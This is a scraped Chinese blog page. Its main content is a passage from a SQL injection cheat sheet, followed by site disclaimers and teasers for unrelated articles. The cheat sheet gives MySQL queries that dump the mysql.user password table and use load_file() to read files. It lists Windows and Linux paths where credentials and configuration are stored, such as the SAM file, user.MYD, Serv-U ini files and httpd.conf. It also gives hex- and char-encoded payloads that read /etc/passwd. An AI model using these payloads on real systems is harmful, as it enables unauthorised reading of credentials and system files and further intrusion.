select @@datadir;
SHOW GLOBAL VARIABLES LIKE '%log%';

读取数据库用户密码

这个方式不常用,因为很难遇到能够成功读取到的。

select * from mysql.user\G;
select * from mysql.user where user='root'\G;

注入读取常见文件路径

在php中能够通过执行phpinfo函数或者读取到该文件就能够获取到网站的真实路径。

select load_file('绝对路径');

windows

c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

linux

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1899617.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

宿舍报修小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;基础数据管理&#xff0c;论坛管理&#xff0c;故障上报管理&#xff0c;新闻信息管理&#xff0c;维修人员管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;新闻信息…

Java项目:基于SSM框架实现的个人博客网站管理系统分前后台【ssm+B/S架构+源码+数据库+开题报告+毕业论文】

一、项目简介 本项目是一套基于SSM框架实现的个人博客网站管理系统 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c;eclipse或者idea 确保可以运行&#xff01; 该系统功能完善、界面美观、操作简单、…

使用vue3+js+ele-plus实现国际化

先看看是不是你想要的 本文只涉及到中文和英文两种语言&#xff0c;若需其他语言请到ele-plus官网进行下载1、首先使用 npm i vue-i18n 命令下载i18n依赖包 npm i vue-i18n 2、在views文件夹内新建一个i18n文件&#xff0c;在i18n文件夹内新建三个文件2.1、新建 zh-cn.…

14-33 剑和诗人7 - 大模型语言和 DBCopilot 方法实现数据民主化

长期以来&#xff0c;数据库一直是海量信息的守护者&#xff0c;但访问这些知识历来是只有拥有专业技术技能的人才能享有的特权。这造成了巨大的知识壁垒&#xff0c;阻碍了数据访问的民主化&#xff0c;并使许多个人和组织无法获得这些存储库中包含的见解。 数据民主化的主要…

Renesas R7FA8D1BH (Cortex®-M85) ADC模块应用

目录 概述 1 软硬件 1.1 软硬件环境信息 1.2 开发板信息 1.3 调试器信息 2 FSP和KEIL配置ADC 2.1 ADC硬件接口 2.2 FSP配置ADC 3 软件功能实现 3.1 FSP生成项目 3.2 FSP ADC模块库函数介绍 3.2.1 库函数列表 3.2.2 函数介绍 4 ADC功能代码 4.1 编写代码 4.2 代码…

无人机云台类型及作用

无人机云台主要分为三种类型&#xff1a; 单轴云台&#xff1a;仅支持单向旋转&#xff0c;适合拍摄平滑的延时摄影和全景照片。 双轴云台&#xff1a;支持水平和垂直旋转&#xff0c;可用于拍摄流畅的视频和运动物体。 三轴云台&#xff1a;全面支持所有旋转轴&#xff0c;…

ModuleNotFoundError: No module named ‘blinker._saferef‘

报错信息&#xff1a; 截图 代码 File "D:\Code\Python\flask-api\.venv\Lib\site-packages\seleniumwire\webdriver.py", line 28, in <module>from seleniumwire import backend, utilsFile "D:\Code\Python\flask-api\.venv\Lib\site-packages\selen…

充分利用东芝 TB67H450FNG 实现电机控制需求

在当今快速发展的技术环境中&#xff0c;高效且可靠的电机控制对于各种应用来说都是至关重要的&#xff0c;无论是工业机械还是消费电子产品。东芝的 TB67H450FNG&#xff0c;一款PWM斩波型直流有刷电机驱动器&#xff0c;以其高电压和大电流驱动能力脱颖而出&#xff0c;能够满…

[SAP ABAP] 函数Function

Function函数与子例程类似&#xff0c;按照功能将代码模块化 我们可以使用事务码SE37查看需要使用的函数以及对该函数进行测试 我们也可以对STRING_SPLIT_AT_POSITION函数进行测试 1.函数调用 我们可以使用事务码SE38进入ABAP编辑器界面&#xff0c;使用"模式/Pattern&q…

51单片机基础11——蓝牙模块控制亮灭

串口初试——蓝牙模块 蓝牙模块的使用1. 软硬件条件2. 蓝牙模块3. 代码(分文件处理之后的代码) 蓝牙模块的使用 1. 软硬件条件 单片机型号&#xff1a;STC89C52RC开发环境&#xff1a;KEIL4烧录软件串口通信软件&#xff1a;stc-isp蓝牙模块&#xff1a;HC-04LED模块(高电平点…

利用Redis bitmap 实现签到案例

数据库实现 设计签到功能对应的数据库表 CREATE TABLE sign_record (id bigint NOT NULL AUTO_INCREMENT COMMENT 主键,user_id bigint NOT NULL COMMENT 用户id,year year NOT NULL COMMENT 签到年份,month tinyint NOT NULL COMMENT 签到月份,date date NOT NULL COMMENT 签…

项目部署_持续集成_Jenkins

1 今日内容介绍 1.1 什么是持续集成 持续集成&#xff08; Continuous integration &#xff0c; 简称 CI &#xff09;指的是&#xff0c;频繁地&#xff08;一天多次&#xff09;将代码集成到主干 持续集成的组成要素 一个自动构建过程&#xff0c; 从检出代码、 编译构建…

HTML+CSS+JavaScript入门学习

目录 1. 前言2. HTML2.1 HTML简介2.2 HTML标签 3. CSS3.1 CSS知识整理及总结3.2 CSS之flex布局 4. JavaScript4.1 JavaScript知识整理及总结1-基础篇4.2 JavaScript知识整理及总结2-进阶篇 1. 前言 本文主要采用转载的形式&#xff0c;偶尔发现了一个比较不错的博客站点&#…

Java需要英语基础吗?

Java编程语言本身并不要求必须有很强的英语基础&#xff0c;因为Java的语法和逻辑是独立于任何特定语言的。我收集归类了一份嵌入式学习包&#xff0c;对于新手而言简直不要太棒&#xff0c;里面包括了新手各个时期的学习方向编程教学、问题视频讲解、毕设800套和语言类教学&am…

嵌入式linux面试1

1. linux 1.1. Window系统和Linux系统的区别 linux区分大小写windows在dos&#xff08;磁盘操作系统&#xff09;界面命令下不区分大小写&#xff1b; 1.2. 文件格式区分 windows用扩展名区分文件&#xff1b;如.exe代表执行文件&#xff0c;.txt代表文本文件&#xff0c;.…

短视频父亲:成都柏煜文化传媒有限公司

短视频父亲&#xff1a;镜头背后的温情与力量 在这个信息爆炸的时代&#xff0c;短视频以其短小精悍、直观生动的特点&#xff0c;迅速占据了人们碎片化的时间&#xff0c;成为情感交流与文化传播的重要平台。而在这些纷繁复杂的短视频中&#xff0c;有一类内容尤为触动人心—…

前缀和数组 差分数组

前缀和 一维&#xff1a;通过空间换时间适用于需要频繁查询某一段区间和的场景。 一维数组&#xff1a; 一维前缀和中的每一项&#xff1a; &#xff0c;该前缀和中的每一项也就是数组中对应的前 i 项和。 一维前缀和数组的构造&#xff1a; 在输入原数组时同步构造前缀和…

linux之管道重定向

管道与重定向 一、重定向 将原输出结果存储到其他位置的过程 标准输入、标准正确输出、标准错误输出 ​ 进程在运行的过程中根据需要会打开多个文件&#xff0c;每打开一个文件会有一个数字标识。这个标识叫文件描述符。 进程使用文件描述符来管理打开的文件&#xff08;FD--…

【proteus可调直流稳压电源LM317】2022-4-11

缘由直流稳压电源的设计。-编程语言-CSDN问答 缘由proteus电路仿真设计-嵌入式-CSDN问答 仿真是什么?就是可以恣意妄为,从错误中学习,电感量1安培1伏特1亨利,220亨利220伏特1安培.

数据库原理之并发控制的基本概念

我们今天继续来看数据库原理&#xff0c;我们简单讲讲数据库的并发控制。 并发控制的定义 并发控制是为了保证事务的隔离性和一致性&#xff0c;数据库管理系统需要对并发操作进行正确调度。并发控制的主要技术有&#xff1a;、时间戳、乐观控制法、多版本并发控制等。 并发操…